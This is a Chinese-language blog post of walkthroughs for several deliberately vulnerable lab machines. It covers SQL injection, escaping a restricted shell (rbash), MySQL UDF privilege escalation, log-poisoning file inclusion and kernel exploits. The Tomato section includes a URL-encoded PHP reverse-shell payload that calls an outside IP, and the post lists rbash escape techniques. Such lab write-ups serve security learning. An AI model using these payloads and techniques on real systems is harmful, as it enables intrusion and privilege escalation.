Vulhub靶机合集

13 分钟

前言

为什么要打这种靶机,因为里面的靶机虽然说知识点并不算很难,很深,但是却能开拓渗透的思路,打的多了,就能慢慢感受到制作靶机的作者的巧妙设计,也当作是无聊时的一种消遣方式。

一、Kioptrix Level 4(SQL注入、rbash逃逸、UDF提权)

  1. nmap扫描端口
    file

    可以开到开放了22端口、80端口、还有smb的139和445端口,先从80端口入手
  2. 访问80端口,看到一个登录页面
    file
  3. 扫一波80端口,可以看到扫出了部分文件,其中有数据库的文件,访问一波看看
    file
  4. 看到了数据库中被插入了一个用户和密码,但是登录却是失败的,密码应该不对,测试一下这里是否存在sql注入,直接丢到sqlmap跑一下。
    file

    可以看到mypassword处存在注入,这里的mypassword应该是直接拼接到了数据库执行语句中,可以通过万能密码登录,这里直接通过mypassword字段盲注即可爆出数据库的数据和密码,并且是可以登录成功的,但是接下来该怎么getshell呢,是一个问题。
  5. 直接通过sqlmap的os-shell看看mysql数据库是否打开了写入文件的权限,通过mysql数据库来进行命令执行,成功了,查询下/etc/passwd。
    file
  6. 这里是www-data用户,想通过一句话木马等反弹shell,写入不成功,bash一句话反弹shell也不成功,但是看到了存在john和robert用户,只不过shell被限制了,是rbash的shell类型,上面得到的用户密码尝试下ssh登录,发现是登录成功的。
  7. 查看到能够执行的命令很少,尝试下rbash shell逃逸,发现通过echo os.system("/bin/bash")逃逸成功。
    file
rbash逃逸的常用用法:
  1. ftp、more、less、man、vi、vim等能够编辑输入的地方输入!/bin/bash或者!/bin/sh
  2. 如果能够使用vim编辑器,可以在完成时输入set shell=/bin/sh设置shell变量,切换完成后还需通过export PATH=$PATH:/usr/bin/查找命令
  3. 检查可用的编程语言,如python通过os.system()逃逸,php使用php -a then exec("sh -i")逃逸等
  4. 如果cp命令被运行,可用尝试直接复制/bin/bash到本地用户目录
  5. 包括一些其它命令如awk,ssh,zip等命令都可以尝试进行逃逸,比如说利用tar的--checkpoint-action=exec=/bin/bash,通过ssh -t /bin/sh等形式
  6. 查看80端口的文件,发现连接数据库的文件密码为空,并且是root权限,进入数据库,看看能不能通过数据库提权,发现存在UDF提权。

    UDF提权:利用Root权限,创建带有cmd函数的动态链接库即udf.dll,当把udf.dll导出到指定文件夹引入mysql时,其中的调用函数拿出来当做mysql的函数使用,自定义的函数就被当作了本机函数执行,在使用CREAT FUNCITON调用dll中的函数,mysql账号转化成了system权限,从而进行提权。
一般能够使用的函数有:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
  1. 接下来就可以使用udf提权,这里有多种方式可以利用,第一种是将当前用户加入到管理员用户组中,即usermod -a -G root 'john',第二种就是通过赋予find命令suid权限,通过其exec的参数达到root权限执行命令的效果,第三种就是通过本机中的nc或通过msf等生成一个反弹shell的命令,通过udf函数sys_exec()执行也是弹回root权限的shell。

file

file

二、Tomato

  1. nmap扫描端口,发现开放了21、80、8888
    file
  2. 使用dirsearch扫目录,这里没扫出东西,再换一个,换成dirb,发现扫到了antibot_image目录,只能说,挺神奇的,下次渗透的时候可以多换几个扫目录的字典,多试试。
    file
    file
  3. 把全部文件都访问一遍,发现其中一个info.php给出了phpinfo(),但是里面也没暴露什么敏感信息,但是F12可以看到它进行了文件包含,这思路就打开了。
    file
  4. 通过文件包含,包含一些登录的日志文件,比如包含ssh的登录文件,发现开放了2211端口,因此可以使用一句话木马写入到ssh的日志文件中,然后就能进行命令执行了。
    file

file

  1. 使用蚁剑连接,查找suid文件,没有找到很特别的
    file
  2. 看看能不能进行内核提权,查找到系统Ubuntu4.4.13,直接查找内核提权漏洞,找到很多。
    file
  3. 挨个挨个试试,好吧,很困难,全都报错,我日了,但是别人的WP说45010.c是可以的,但是我这里报错了,报了以下错误。
    file
  4. 这是因为gcc编译器,即kali的编译环境中不存在2.34造成的,因为要换成2.34.怎么换呢,以下命令即可换。

    wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
    dpkg -x libc6_2.19-0ubuntu6_amd64.deb /~/test
    cd /~/test
    gcc exp.c  -o exp -Ldir ./lib/x86_64-linux-gnu/lib.so.6
    
    
  5. 然后准备用蚁剑上传,赋予权限,直接执行,结果没有任何响应,可能是蚁剑的问题吧,然后就只能试试反弹shell了,继续利用ssh写入一个GET参数为cmd的shell,通过以下反弹shell成功。

    cmd=php%20-r%20'%24sock%3dfsockopen(%22192.168.23.137%22%2c3333)%3bexec(%22%2fbin%2fsh%20-i%20%3c%263%20%3e%263%202%3e%263%22)%3b'
    
  6. 通过Python打开一个交互式的shell后,再通过相同的操作,以及wget传入exp来tmp目录中,执行,提权成功。
    file

    DC-5

  7. NET模式,照常先把ip找出来
    file
  8. Nmap扫描一波端口,发现了http的80端口,还开放了rpc端口,rpc端口暂时不知道有什么用,先放着。
    file
  9. 访问80端口,发现异常的地方不多,只有一个Contact us是动态交互的,在哪里发现了Copyright竟然会因为提交次数变化,一直从2017开始增加,又回来2017。
    file
  10. 这地方非常可疑,也就说这个Copyright是一个文件,而不是写死的,用dirsearch扫目录也能扫到footer.php这个文件,可能存在文件包含,拿参数字典爆破一下参数,发现了file参数能进行文件包含,因此写入一句话木马,然后包含日志记录,就能达到一句话shell的效果。
    file
    file
  11. 直接find一波suid文件,发现又一个Screen-4.5.0的文件,搜索一下,发现GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。搜索一波是否存在提权漏洞,发现存在。
    file
  12. 因为蚁剑是虚拟终端,所以不能进行提权,弹一个shell到nc上,再进行提权。
    file

一、MeAndMyGirlfriend

1. 信息收集

  1. 扫描IP和端口等信息,发现只开放了80和22端口

file

file

file

目录也只有index.php是可以访问的,其它都是空页面

2.查找漏洞

  1. 进入index页面,发现要本地IP才能访问,于是尝试添加XXF头或者Client-ip头,能够绕过。

file

  1. 绕过后重定向到了某个页面,能够注册用户和登录,先测试一些登录是否存在注入,发现不行,尝试随便注册一个用户进行登录。

file

  1. 登录后发现能够在profile页面看到用户名和密码,应该是进行密码修改的,并且在url中看到user_id属性,可以尝试修改值,发现能够越权。

file

一直修改user_id的值,发现都有用户名和密码,但是前面都有空格,感觉像是假的,到了5的时候发现一个没空格的,尝试ssh登录并登录成功

file

3.提权

在上面能够看到数据库的连接用户名和密码等,并且也证书了登录等地方不能注入,都进行了过滤。

file

尝试查找主机上的SUID文件或者命令等

file

sudo命令能够使用,直接使用sudo -l查看用户能够使用的命令,发现php能够使用,于是使用php进行提权

file

file

二、Tr0ll

1.信息收集

扫描主机的端口等信息,发现存在ftp中有一个流量文件并且ftp能够进行无密码登录。

file

file

这里的secret和index.php没有任何东西,所以下载ftp的文件下来分析

2. 流量分析和提权

file

file

这里主要是ftp流量,整个流量记录了ftp的登录、认证,执行了SYST查看ftp服务器版本,LIST列出内容,RETR下载文件等操作,
其中在RETR中发现secret_stuff.txt文件,文件信息中有某个目录名sup3rs3cr3tdirlol。

file

发现一个elf文件

file

感觉又是个目录,继续访问

file

发现了给出了用户名和密码,密码只有一个,用户名有6个,直接hydra爆破

file

爆破一直出错,于是转为手工,发现全部都不对,想了想,这里密码为Good_job_:),不太对劲,
目录名又为密码存在目录中,于是尝试下目录名为密码,登录成功

file

可以看到这里的ssh连接很脆弱,连接太快就会拒绝,同时发现会自动断开,感觉设置了定时任务,连接多少分钟自动断开,剩下就是查找SUID文件和一些提权命令,
发现都没有,于是尝试下系统漏洞提权。

file

file

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:Vulhub靶机合集
文章链接:https://aiwin.fun/index.php/archives/2658/
最后编辑:2024 年 1 月 4 日 16:55 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 3 + 3 =
快来做第一个评论的人吧~